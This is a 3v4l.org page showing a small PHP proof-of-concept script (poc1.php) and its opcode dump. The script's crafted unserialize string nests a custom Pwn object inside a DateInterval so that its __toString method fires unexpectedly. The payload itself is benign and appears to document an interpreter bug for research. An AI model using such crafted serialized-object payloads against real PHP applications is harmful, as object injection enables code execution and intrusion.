3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* $ php poc1.php unexpected */ class Pwn { function __toString() { die("surprise\n"); } } unserialize('O:12:"DateInterval":1:{s:4:"days";O:3:"Pwn":0:{}}'); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/jfQIY
function name:  (null)
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    8     0  E >   DECLARE_CLASS                                            'pwn'
   16     1        INIT_FCALL                                               'unserialize'
          2        SEND_VAL                                                 'O%3A12%3A%22DateInterval%22%3A1%3A%7Bs%3A4%3A%22days%22%3BO%3A3%3A%22Pwn%22%3A0%3A%7B%7D%7D'
          3        DO_ICALL                                                 
   18     4      > RETURN                                                   1

Class Pwn:
Function __tostring:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 79) Position 1 = -2
filename:       /in/jfQIY
function name:  __toString
number of ops:  3
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   11     0  E > > EXIT                                                     'surprise%0A'
   12     1*       VERIFY_RETURN_TYPE                                       
          2*     > RETURN                                                   null

End of function __tostring

End of class Pwn.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
178.38 ms | 1394 KiB | 15 Q